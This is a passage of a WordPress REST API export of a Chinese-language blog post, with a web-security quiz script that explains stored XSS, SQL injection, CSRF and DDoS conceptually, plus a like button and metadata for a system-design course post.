\u8173\u672c\uff0c\u8173\u672c\u88ab\u5132\u5b58\u5230\u8cc7\u6599\u5eab\u5f8c\uff0c\u7576\u5176\u4ed6\u7528\u6236\u700f\u89bd\u8a55\u8ad6\u9801\u9762\u6642\u700f\u89bd\u5668\u6703\u57f7\u884c\u60e1\u610f\u8173\u672c\uff0c\u7aca\u53d6 Cookie \u7b49\u654f\u611f\u8cc7\u8a0a\u3002\u9632\u8b77\u65b9\u5f0f\u662f\u5c0d\u6240\u6709\u7528\u6236\u8f38\u5165\u505a HTML \u8f49\u7fa9\uff08Escape\uff09\uff0c\u963b\u6b62 <code>&lt;script&gt;<\/code> \u7b49\u6a19\u7c64\u88ab\u700f\u89bd\u5668\u7576\u6210\u7a0b\u5f0f\u78bc\u57f7\u884c\u3002SQL Injection \u662f\u91dd\u5c0d\u8cc7\u6599\u5eab\u67e5\u8a62\u7684\u6ce8\u5165\uff1bCSRF \u662f\u5229\u7528\u5df2\u767b\u5165\u7528\u6236\u7684\u8eab\u5206\u767c\u9001\u507d\u9020\u8acb\u6c42\uff0c\u4e0d\u6d89\u53ca\u8173\u672c\u6ce8\u5165\uff1bDDoS \u662f\u900f\u904e\u5927\u91cf\u8acb\u6c42\u7671\u7613\u4f3a\u670d\u5668\uff0c\u8207\u8173\u672c\u6ce8\u5165\u7121\u95dc\u3002\"\n      };\n\n      function checkAnswerAdv(qNum, selected, correctAns) {\n        const question = document.getElementById(\"qAdv\" + qNum);\n        if (question.classList.contains(\"answered\")) return;\n\n        question.classList.add(\"answered\");\n        answeredAdv++;\n\n        const options = question.querySelectorAll(\".options-adv li\");\n        options.forEach((opt) => {\n          opt.classList.add(\"disabled\");\n          if (opt.textContent.startsWith(correctAns + \".\")) {\n            opt.classList.add(\"show-answer\");\n          }\n        });\n\n        const feedback = document.getElementById(\"fbAdv\" + qNum);\n        if (selected === correctAns) {\n          correctAdv++;\n          feedback.className = \"feedback-adv correct\";\n          feedback.innerHTML = \"\u2713 \u6b63\u78ba\uff01\" + explanationsAdv[qNum];\n        } else {\n          feedback.className = \"feedback-adv wrong\";\n          feedback.innerHTML =\n            \"\u2717 \u932f\u8aa4\u3002\u6b63\u78ba\u7b54\u6848\u662f \" + correctAns + \"\u3002\" + explanationsAdv[qNum];\n          options.forEach((opt) => {\n            if (opt.textContent.startsWith(selected + \".\")) {\n              opt.classList.add(\"wrong\");\n            }\n          });\n        }\n\n        if (answeredAdv === totalAdv) {\n          const scoreDiv = document.getElementById(\"scoreAdv\");\n          scoreDiv.style.display = \"block\";\n          let msg = \"\";\n          if (correctAdv === totalAdv) msg = \"\ud83c\udfaf \u5b8c\u7f8e\uff01\u4f60\u5df2\u7d93\u6e96\u5099\u597d\u5be6\u6230\u4e86\uff01\";\n          else if (correctAdv >= Math.ceil(totalAdv * 0.8))\n            msg = \"\ud83d\udcaa \u5f88\u68d2\uff01\u518d\u8907\u7fd2\u4e00\u4e0b\u932f\u7684\u984c\u76ee\";\n          else if (correctAdv >= Math.ceil(totalAdv * 0.6))\n            msg = \"\ud83d\udcd6 \u5efa\u8b70\u91cd\u8b80\u76f8\u95dc\u6bb5\u843d\u5f8c\u518d\u8a66\u4e00\u6b21\";\n          else msg = \"\ud83d\udd04 \u5efa\u8b70\u91cd\u65b0\u95b1\u8b80\u6587\u4ef6\uff0c\u7279\u5225\u6ce8\u610f\u64cd\u4f5c\u6d41\u7a0b\";\n          scoreDiv.innerHTML =\n            \"\u6e2c\u9a57\u5b8c\u6210\uff01\u5f97\u5206\uff1a\" + correctAdv + \" \/ \" + totalAdv + \"<br>\" + msg;\n        }\n      }\n    \n<\/script>\n<\/div>\n\n\n<div class=\"wp-like-post__wrapper\" style=\"\"><button type=\"button\" class=\"wp-like-post__button \" style=\"height: 30px; color: #000000;\" data-post-id=\"761\" data-total-likes=\"0\" data-likes-from-user=\"0\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\" width=\"30\" height=\"30\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M6.633 10.5c.806 0 1.533-.446 2.031-1.08a9.041 9.041 0 012.861-2.4c.723-.384 1.35-.956 1.653-1.715a4.498 4.498 0 00.322-1.672V3a.75.75 0 01.75-.75A2.25 2.25 0 0116.5 4.5c0 1.152-.26 2.243-.723 3.218-.266.558.107 1.282.725 1.282h3.126c1.026 0 1.945.694 2.054 1.715.045.422.068.85.068 1.285a11.95 11.95 0 01-2.649 7.521c-.388.482-.987.729-1.605.729H13.48c-.483 0-.964-.078-1.423-.23l-3.114-1.04a4.501 4.501 0 00-1.423-.23H5.904M14.25 9h2.25M5.904 18.75c.083.205.173.405.27.602.197.4-.078.898-.523.898h-.908c-.889 0-1.713-.518-1.972-1.368a12 12 0 01-.521-3.507c0-1.553.295-3.036.831-4.398C3.387 10.203 4.167 9.75 5 9.75h1.053c.472 0 .745.556.5.96a8.958 8.958 0 00-1.302 4.665c0 1.194.232 2.333.654 3.375z\" \/><\/svg><\/button><div class=\"wp-like-post__count\"\">0<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>\u9019\u90e8\u5f71\u7247\u7531 Dev Mastery \u983b\u9053\u63a8\u51fa\uff0c\u662f\u4e00\u5802\u7cfb\u7d71\u8a2d\u8a08\u5165\u9580\u5230\u9032\u968e\u7684\u5b8c\u6574\u8ab2\u7a0b\u3002\u5167\u5bb9\u6db5\u84cb\u5f9e\u55ae\u4e00\u4f3a\u670d\u5668\u67b6\u69cb\u958b\u59cb [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":760,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"rolpb_likes":0,"footnotes":""},"categories":[700],"tags":[706,705,709,707,708],"class_list":["post-761","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-700","tag-api-","tag-system-design","tag-709","tag-707","tag-708"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":7}},"_links":{"self":[{"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/posts\/761","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/comments?post=761"}],"version-history":[{"count":0,"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/posts\/761\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/media\/760"}],"wp:attachment":[{"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/media?parent=761"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/categories?post=761"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.itsmygo.uk\/wordpress\/wp-json\/wp\/v2\/tags?post=761"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}